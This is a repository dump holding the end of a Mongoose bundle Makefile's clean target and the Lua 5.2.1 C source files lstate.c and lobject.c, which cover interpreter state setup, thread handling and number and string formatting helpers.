mongoose_php_bundle_$$V.zip mongoose_php_bundle/ 188 | 189 | clean: 190 | cd examples && $(MAKE) clean 191 | rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \ 192 | $(PROG).exe *.dll *.lib build/res.o build/res.RES *.dSYM *.zip *.pdb \ 193 | *.exe *.dmg $(ALL_OBJECTS) $(ALL_WINOBJS) 194 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lstate.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lstate.c,v 2.98 2012/05/30 12:33:44 roberto Exp $ 3 | ** Global State 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | #include 10 | 11 | #define lstate_c 12 | #define LUA_CORE 13 | 14 | #include "lua.h" 15 | 16 | #include "lapi.h" 17 | #include "ldebug.h" 18 | #include "ldo.h" 19 | #include "lfunc.h" 20 | #include "lgc.h" 21 | #include "llex.h" 22 | #include "lmem.h" 23 | #include "lstate.h" 24 | #include "lstring.h" 25 | #include "ltable.h" 26 | #include "ltm.h" 27 | 28 | 29 | #if !defined(LUAI_GCPAUSE) 30 | #define LUAI_GCPAUSE 200 /* 200% */ 31 | #endif 32 | 33 | #if !defined(LUAI_GCMAJOR) 34 | #define LUAI_GCMAJOR 200 /* 200% */ 35 | #endif 36 | 37 | #if !defined(LUAI_GCMUL) 38 | #define LUAI_GCMUL 200 /* GC runs 'twice the speed' of memory allocation */ 39 | #endif 40 | 41 | 42 | #define MEMERRMSG "not enough memory" 43 | 44 | 45 | /* 46 | ** a macro to help the creation of a unique random seed when a state is 47 | ** created; the seed is used to randomize hashes. 48 | */ 49 | #if !defined(luai_makeseed) 50 | #include 51 | #define luai_makeseed() cast(size_t, time(NULL)) 52 | #endif 53 | 54 | 55 | 56 | /* 57 | ** thread state + extra space 58 | */ 59 | typedef struct LX { 60 | #if defined(LUAI_EXTRASPACE) 61 | char buff[LUAI_EXTRASPACE]; 62 | #endif 63 | lua_State l; 64 | } LX; 65 | 66 | 67 | /* 68 | ** Main thread combines a thread state and the global state 69 | */ 70 | typedef struct LG { 71 | LX l; 72 | global_State g; 73 | } LG; 74 | 75 | 76 | 77 | #define fromstate(L) (cast(LX *, cast(lu_byte *, (L)) - offsetof(LX, l))) 78 | 79 | 80 | /* 81 | ** Compute an initial seed as random as possible. In ANSI, rely on 82 | ** Address Space Layout Randomization (if present) to increase 83 | ** randomness.. 84 | */ 85 | #define addbuff(b,p,e) \ 86 | { size_t t = cast(size_t, e); \ 87 | memcpy(buff + p, &t, sizeof(t)); p += sizeof(t); } 88 | 89 | static unsigned int makeseed (lua_State *L) { 90 | char buff[4 * sizeof(size_t)]; 91 | unsigned int h = luai_makeseed(); 92 | int p = 0; 93 | addbuff(buff, p, L); /* heap variable */ 94 | addbuff(buff, p, &h); /* local variable */ 95 | addbuff(buff, p, luaO_nilobject); /* global variable */ 96 | addbuff(buff, p, &lua_newstate); /* public function */ 97 | lua_assert(p == sizeof(buff)); 98 | return luaS_hash(buff, p, h); 99 | } 100 | 101 | 102 | /* 103 | ** set GCdebt to a new value keeping the value (totalbytes + GCdebt) 104 | ** invariant 105 | */ 106 | void luaE_setdebt (global_State *g, l_mem debt) { 107 | g->totalbytes -= (debt - g->GCdebt); 108 | g->GCdebt = debt; 109 | } 110 | 111 | 112 | CallInfo *luaE_extendCI (lua_State *L) { 113 | CallInfo *ci = luaM_new(L, CallInfo); 114 | lua_assert(L->ci->next == NULL); 115 | L->ci->next = ci; 116 | ci->previous = L->ci; 117 | ci->next = NULL; 118 | return ci; 119 | } 120 | 121 | 122 | void luaE_freeCI (lua_State *L) { 123 | CallInfo *ci = L->ci; 124 | CallInfo *next = ci->next; 125 | ci->next = NULL; 126 | while ((ci = next) != NULL) { 127 | next = ci->next; 128 | luaM_free(L, ci); 129 | } 130 | } 131 | 132 | 133 | static void stack_init (lua_State *L1, lua_State *L) { 134 | int i; CallInfo *ci; 135 | /* initialize stack array */ 136 | L1->stack = luaM_newvector(L, BASIC_STACK_SIZE, TValue); 137 | L1->stacksize = BASIC_STACK_SIZE; 138 | for (i = 0; i < BASIC_STACK_SIZE; i++) 139 | setnilvalue(L1->stack + i); /* erase new stack */ 140 | L1->top = L1->stack; 141 | L1->stack_last = L1->stack + L1->stacksize - EXTRA_STACK; 142 | /* initialize first ci */ 143 | ci = &L1->base_ci; 144 | ci->next = ci->previous = NULL; 145 | ci->callstatus = 0; 146 | ci->func = L1->top; 147 | setnilvalue(L1->top++); /* 'function' entry for this 'ci' */ 148 | ci->top = L1->top + LUA_MINSTACK; 149 | L1->ci = ci; 150 | } 151 | 152 | 153 | static void freestack (lua_State *L) { 154 | if (L->stack == NULL) 155 | return; /* stack not completely built yet */ 156 | L->ci = &L->base_ci; /* free the entire 'ci' list */ 157 | luaE_freeCI(L); 158 | luaM_freearray(L, L->stack, L->stacksize); /* free stack array */ 159 | } 160 | 161 | 162 | /* 163 | ** Create registry table and its predefined values 164 | */ 165 | static void init_registry (lua_State *L, global_State *g) { 166 | TValue mt; 167 | /* create registry */ 168 | Table *registry = luaH_new(L); 169 | sethvalue(L, &g->l_registry, registry); 170 | luaH_resize(L, registry, LUA_RIDX_LAST, 0); 171 | /* registry[LUA_RIDX_MAINTHREAD] = L */ 172 | setthvalue(L, &mt, L); 173 | luaH_setint(L, registry, LUA_RIDX_MAINTHREAD, &mt); 174 | /* registry[LUA_RIDX_GLOBALS] = table of globals */ 175 | sethvalue(L, &mt, luaH_new(L)); 176 | luaH_setint(L, registry, LUA_RIDX_GLOBALS, &mt); 177 | } 178 | 179 | 180 | /* 181 | ** open parts of the state that may cause memory-allocation errors 182 | */ 183 | static void f_luaopen (lua_State *L, void *ud) { 184 | global_State *g = G(L); 185 | UNUSED(ud); 186 | stack_init(L, L); /* init stack */ 187 | init_registry(L, g); 188 | luaS_resize(L, MINSTRTABSIZE); /* initial size of string table */ 189 | luaT_init(L); 190 | luaX_init(L); 191 | /* pre-create memory-error message */ 192 | g->memerrmsg = luaS_newliteral(L, MEMERRMSG); 193 | luaS_fix(g->memerrmsg); /* it should never be collected */ 194 | g->gcrunning = 1; /* allow gc */ 195 | } 196 | 197 | 198 | /* 199 | ** preinitialize a state with consistent values without allocating 200 | ** any memory (to avoid errors) 201 | */ 202 | static void preinit_state (lua_State *L, global_State *g) { 203 | G(L) = g; 204 | L->stack = NULL; 205 | L->ci = NULL; 206 | L->stacksize = 0; 207 | L->errorJmp = NULL; 208 | L->nCcalls = 0; 209 | L->hook = NULL; 210 | L->hookmask = 0; 211 | L->basehookcount = 0; 212 | L->allowhook = 1; 213 | resethookcount(L); 214 | L->openupval = NULL; 215 | L->nny = 1; 216 | L->status = LUA_OK; 217 | L->errfunc = 0; 218 | } 219 | 220 | 221 | static void close_state (lua_State *L) { 222 | global_State *g = G(L); 223 | luaF_close(L, L->stack); /* close all upvalues for this thread */ 224 | luaC_freeallobjects(L); /* collect all objects */ 225 | luaM_freearray(L, G(L)->strt.hash, G(L)->strt.size); 226 | luaZ_freebuffer(L, &g->buff); 227 | freestack(L); 228 | lua_assert(gettotalbytes(g) == sizeof(LG)); 229 | (*g->frealloc)(g->ud, fromstate(L), sizeof(LG), 0); /* free main block */ 230 | } 231 | 232 | 233 | LUA_API lua_State *lua_newthread (lua_State *L) { 234 | lua_State *L1; 235 | lua_lock(L); 236 | luaC_checkGC(L); 237 | L1 = &luaC_newobj(L, LUA_TTHREAD, sizeof(LX), NULL, offsetof(LX, l))->th; 238 | setthvalue(L, L->top, L1); 239 | api_incr_top(L); 240 | preinit_state(L1, G(L)); 241 | L1->hookmask = L->hookmask; 242 | L1->basehookcount = L->basehookcount; 243 | L1->hook = L->hook; 244 | resethookcount(L1); 245 | luai_userstatethread(L, L1); 246 | stack_init(L1, L); /* init stack */ 247 | lua_unlock(L); 248 | return L1; 249 | } 250 | 251 | 252 | void luaE_freethread (lua_State *L, lua_State *L1) { 253 | LX *l = fromstate(L1); 254 | luaF_close(L1, L1->stack); /* close all upvalues for this thread */ 255 | lua_assert(L1->openupval == NULL); 256 | luai_userstatefree(L, L1); 257 | freestack(L1); 258 | luaM_free(L, l); 259 | } 260 | 261 | 262 | LUA_API lua_State *lua_newstate (lua_Alloc f, void *ud) { 263 | int i; 264 | lua_State *L; 265 | global_State *g; 266 | LG *l = cast(LG *, (*f)(ud, NULL, LUA_TTHREAD, sizeof(LG))); 267 | if (l == NULL) return NULL; 268 | L = &l->l.l; 269 | g = &l->g; 270 | L->next = NULL; 271 | L->tt = LUA_TTHREAD; 272 | g->currentwhite = bit2mask(WHITE0BIT, FIXEDBIT); 273 | L->marked = luaC_white(g); 274 | g->gckind = KGC_NORMAL; 275 | preinit_state(L, g); 276 | g->frealloc = f; 277 | g->ud = ud; 278 | g->mainthread = L; 279 | g->seed = makeseed(L); 280 | g->uvhead.u.l.prev = &g->uvhead; 281 | g->uvhead.u.l.next = &g->uvhead; 282 | g->gcrunning = 0; /* no GC while building state */ 283 | g->GCestimate = 0; 284 | g->strt.size = 0; 285 | g->strt.nuse = 0; 286 | g->strt.hash = NULL; 287 | setnilvalue(&g->l_registry); 288 | luaZ_initbuffer(L, &g->buff); 289 | g->panic = NULL; 290 | g->version = lua_version(NULL); 291 | g->gcstate = GCSpause; 292 | g->allgc = NULL; 293 | g->finobj = NULL; 294 | g->tobefnz = NULL; 295 | g->sweepgc = g->sweepfin = NULL; 296 | g->gray = g->grayagain = NULL; 297 | g->weak = g->ephemeron = g->allweak = NULL; 298 | g->totalbytes = sizeof(LG); 299 | g->GCdebt = 0; 300 | g->gcpause = LUAI_GCPAUSE; 301 | g->gcmajorinc = LUAI_GCMAJOR; 302 | g->gcstepmul = LUAI_GCMUL; 303 | for (i=0; i < LUA_NUMTAGS; i++) g->mt[i] = NULL; 304 | if (luaD_rawrunprotected(L, f_luaopen, NULL) != LUA_OK) { 305 | /* memory allocation error: free partial state */ 306 | close_state(L); 307 | L = NULL; 308 | } 309 | else 310 | luai_userstateopen(L); 311 | return L; 312 | } 313 | 314 | 315 | LUA_API void lua_close (lua_State *L) { 316 | L = G(L)->mainthread; /* only the main thread can be closed */ 317 | lua_lock(L); 318 | luai_userstateclose(L); 319 | close_state(L); 320 | } 321 | 322 | 323 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lobject.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lobject.c,v 2.55 2011/11/30 19:30:16 roberto Exp $ 3 | ** Some generic functions over Lua objects 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define lobject_c 13 | #define LUA_CORE 14 | 15 | #include "lua.h" 16 | 17 | #include "lctype.h" 18 | #include "ldebug.h" 19 | #include "ldo.h" 20 | #include "lmem.h" 21 | #include "lobject.h" 22 | #include "lstate.h" 23 | #include "lstring.h" 24 | #include "lvm.h" 25 | 26 | 27 | 28 | LUAI_DDEF const TValue luaO_nilobject_ = {NILCONSTANT}; 29 | 30 | 31 | /* 32 | ** converts an integer to a "floating point byte", represented as 33 | ** (eeeeexxx), where the real value is (1xxx) * 2^(eeeee - 1) if 34 | ** eeeee != 0 and (xxx) otherwise. 35 | */ 36 | int luaO_int2fb (unsigned int x) { 37 | int e = 0; /* exponent */ 38 | if (x < 8) return x; 39 | while (x >= 0x10) { 40 | x = (x+1) >> 1; 41 | e++; 42 | } 43 | return ((e+1) << 3) | (cast_int(x) - 8); 44 | } 45 | 46 | 47 | /* converts back */ 48 | int luaO_fb2int (int x) { 49 | int e = (x >> 3) & 0x1f; 50 | if (e == 0) return x; 51 | else return ((x & 7) + 8) << (e - 1); 52 | } 53 | 54 | 55 | int luaO_ceillog2 (unsigned int x) { 56 | static const lu_byte log_2[256] = { 57 | 0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5, 58 | 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6, 59 | 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 60 | 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 61 | 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 62 | 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 63 | 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 64 | 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8 65 | }; 66 | int l = 0; 67 | x--; 68 | while (x >= 256) { l += 8; x >>= 8; } 69 | return l + log_2[x]; 70 | } 71 | 72 | 73 | lua_Number luaO_arith (int op, lua_Number v1, lua_Number v2) { 74 | switch (op) { 75 | case LUA_OPADD: return luai_numadd(NULL, v1, v2); 76 | case LUA_OPSUB: return luai_numsub(NULL, v1, v2); 77 | case LUA_OPMUL: return luai_nummul(NULL, v1, v2); 78 | case LUA_OPDIV: return luai_numdiv(NULL, v1, v2); 79 | case LUA_OPMOD: return luai_nummod(NULL, v1, v2); 80 | case LUA_OPPOW: return luai_numpow(NULL, v1, v2); 81 | case LUA_OPUNM: return luai_numunm(NULL, v1); 82 | default: lua_assert(0); return 0; 83 | } 84 | } 85 | 86 | 87 | int luaO_hexavalue (int c) { 88 | if (lisdigit(c)) return c - '0'; 89 | else return ltolower(c) - 'a' + 10; 90 | } 91 | 92 | 93 | #if !defined(lua_strx2number) 94 | 95 | #include 96 | 97 | 98 | static int isneg (const char **s) { 99 | if (**s == '-') { (*s)++; return 1; } 100 | else if (**s == '+') (*s)++; 101 | return 0; 102 | } 103 | 104 | 105 | static lua_Number readhexa (const char **s, lua_Number r, int *count) { 106 | for (; lisxdigit(cast_uchar(**s)); (*s)++) { /* read integer part */ 107 | r = (r * 16.0) + cast_num(luaO_hexavalue(cast_uchar(**s))); 108 | (*count)++; 109 | } 110 | return r; 111 | } 112 | 113 | 114 | /* 115 | ** convert an hexadecimal numeric string to a number, following 116 | ** C99 specification for 'strtod' 117 | */ 118 | static lua_Number lua_strx2number (const char *s, char **endptr) { 119 | lua_Number r = 0.0; 120 | int e = 0, i = 0; 121 | int neg = 0; /* 1 if number is negative */ 122 | *endptr = cast(char *, s); /* nothing is valid yet */ 123 | while (lisspace(cast_uchar(*s))) s++; /* skip initial spaces */ 124 | neg = isneg(&s); /* check signal */ 125 | if (!(*s == '0' && (*(s + 1) == 'x' || *(s + 1) == 'X'))) /* check '0x' */ 126 | return 0.0; /* invalid format (no '0x') */ 127 | s += 2; /* skip '0x' */ 128 | r = readhexa(&s, r, &i); /* read integer part */ 129 | if (*s == '.') { 130 | s++; /* skip dot */ 131 | r = readhexa(&s, r, &e); /* read fractional part */ 132 | } 133 | if (i == 0 && e == 0) 134 | return 0.0; /* invalid format (no digit) */ 135 | e *= -4; /* each fractional digit divides value by 2^-4 */ 136 | *endptr = cast(char *, s); /* valid up to here */ 137 | if (*s == 'p' || *s == 'P') { /* exponent part? */ 138 | int exp1 = 0; 139 | int neg1; 140 | s++; /* skip 'p' */ 141 | neg1 = isneg(&s); /* signal */ 142 | if (!lisdigit(cast_uchar(*s))) 143 | goto ret; /* must have at least one digit */ 144 | while (lisdigit(cast_uchar(*s))) /* read exponent */ 145 | exp1 = exp1 * 10 + *(s++) - '0'; 146 | if (neg1) exp1 = -exp1; 147 | e += exp1; 148 | } 149 | *endptr = cast(char *, s); /* valid up to here */ 150 | ret: 151 | if (neg) r = -r; 152 | return ldexp(r, e); 153 | } 154 | 155 | #endif 156 | 157 | 158 | int luaO_str2d (const char *s, size_t len, lua_Number *result) { 159 | char *endptr; 160 | if (strpbrk(s, "nN")) /* reject 'inf' and 'nan' */ 161 | return 0; 162 | else if (strpbrk(s, "xX")) /* hexa? */ 163 | *result = lua_strx2number(s, &endptr); 164 | else 165 | *result = lua_str2number(s, &endptr); 166 | if (endptr == s) return 0; /* nothing recognized */ 167 | while (lisspace(cast_uchar(*endptr))) endptr++; 168 | return (endptr == s + len); /* OK if no trailing characters */ 169 | } 170 | 171 | 172 | 173 | static void pushstr (lua_State *L, const char *str, size_t l) { 174 | setsvalue2s(L, L->top, luaS_newlstr(L, str, l)); 175 | incr_top(L); 176 | } 177 | 178 | 179 | /* this function handles only `%d', `%c', %f, %p, and `%s' formats */ 180 | const char *luaO_pushvfstring (lua_State *L, const char *fmt, va_list argp) { 181 | int n = 0; 182 | for (;;) { 183 | const char *e = strchr(fmt, '%'); 184 | if (e == NULL) break; 185 | setsvalue2s(L, L->top, luaS_newlstr(L, fmt, e-fmt)); 186 | incr_top(L); 187 | switch (*(e+1)) { 188 | case 's': { 189 | const char *s = va_arg(argp, char *); 190 | if (s == NULL) s = "(null)"; 191 | pushstr(L, s, strlen(s)); 192 | break; 193 | } 194 | case 'c': { 195 | char buff; 196 | buff = cast(char, va_arg(argp, int)); 197 | pushstr(L, &buff, 1); 198 | break; 199 | } 200 | case 'd': { 201 | setnvalue(L->top, cast_num(va_arg(argp, int))); 202 | incr_top(L); 203 | break; 204 | } 205 | case 'f': { 206 | setnvalue(L->top, cast_num(va_arg(argp, l_uacNumber))); 207 | incr_top(L); 208 | break; 209 | } 210 | case 'p': { 211 | char buff[4*sizeof(void *) + 8]; /* should be enough space for a `%p' */ 212 | int l = sprintf(buff, "%p", va_arg(argp, void *)); 213 | pushstr(L, buff, l); 214 | break; 215 | } 216 | case '%': { 217 | pushstr(L, "%", 1); 218 | break; 219 | } 220 | default: { 221 | luaG_runerror(L, 222 | "invalid option " LUA_QL("%%%c") " to " LUA_QL("lua_pushfstring"), 223 | *(e + 1)); 224 | } 225 | } 226 | n += 2; 227 | fmt = e+2; 228 | } 229 | pushstr(L, fmt, strlen(fmt)); 230 | if (n > 0) luaV_concat(L, n + 1); 231 | return svalue(L->top - 1); 232 | } 233 | 234 | 235 | const char *luaO_pushfstring (lua_State *L, const char *fmt, ...) { 236 | const char *msg; 237 | va_list argp; 238 | va_start(argp, fmt); 239 | msg = luaO_pushvfstring(L, fmt, argp); 240 | va_end(argp); 241 | return msg; 242 | } 243 | 244 | 245 | /* number of chars of a literal string without the ending \0 */ 246 | #define LL(x) (sizeof(x)/sizeof(char) - 1) 247 | 248 | #define RETS "..." 249 | #define PRE "[string \"" 250 | #define POS "\"]" 251 | 252 | #define addstr(a,b,l) ( memcpy(a,b,(l) * sizeof(char)), a += (l) ) 253 | 254 | void luaO_chunkid (char *out, const char *source, size_t bufflen) { 255 | size_t l = strlen(source); 256 | if (*source == '=') { /* 'literal' source */ 257 | if (l <= bufflen) /* small enough? */ 258 | memcpy(out, source + 1, l * sizeof(char)); 259 | else { /* truncate it */ 260 | addstr(out, source + 1, bufflen - 1); 261 | *out = '\0'; 262 | } 263 | } 264 | else if (*source == '@') { /* file name */ 265 | if (l <= bufflen) /* small enough? */ 266 | memcpy(out, source + 1, l * sizeof(char)); 267 | else { /* add '...' before rest of name */ 268 | addstr(out, RETS, LL(RETS)); 269 | bufflen -= LL(RETS); 270 | memcpy(out, source + 1 + l - bufflen, bufflen * sizeof(char)); 271 | } 272 | } 273 | else { /* string; format as [string "source"] */ 274 | const char *nl = strchr(source, '\n'); /* find first new line (if any) */ 275 | addstr(out, PRE, LL(PRE)); /* add prefix */ 276 | bufflen -= LL(PRE RETS POS) + 1; /* save space for prefix+suffix+'\0' */ 277 | if (l < bufflen && nl == NULL) { /* small one-line source? */ 278 | addstr(out, source, l); /* keep it */ 279 | } 280 | else { 281 | if (nl != NULL) l = nl - source; /* stop at first newline */ 282 | if (l > bufflen) l = bufflen; 283 | addstr(out, source, l); 284 | addstr(out, RETS, LL(RETS)); 285 | } 286 | memcpy(out, POS, (LL(POS) + 1) * sizeof(char)); 287 | } 288 | } 289 | 290 | --------------------------------------------------------------------------------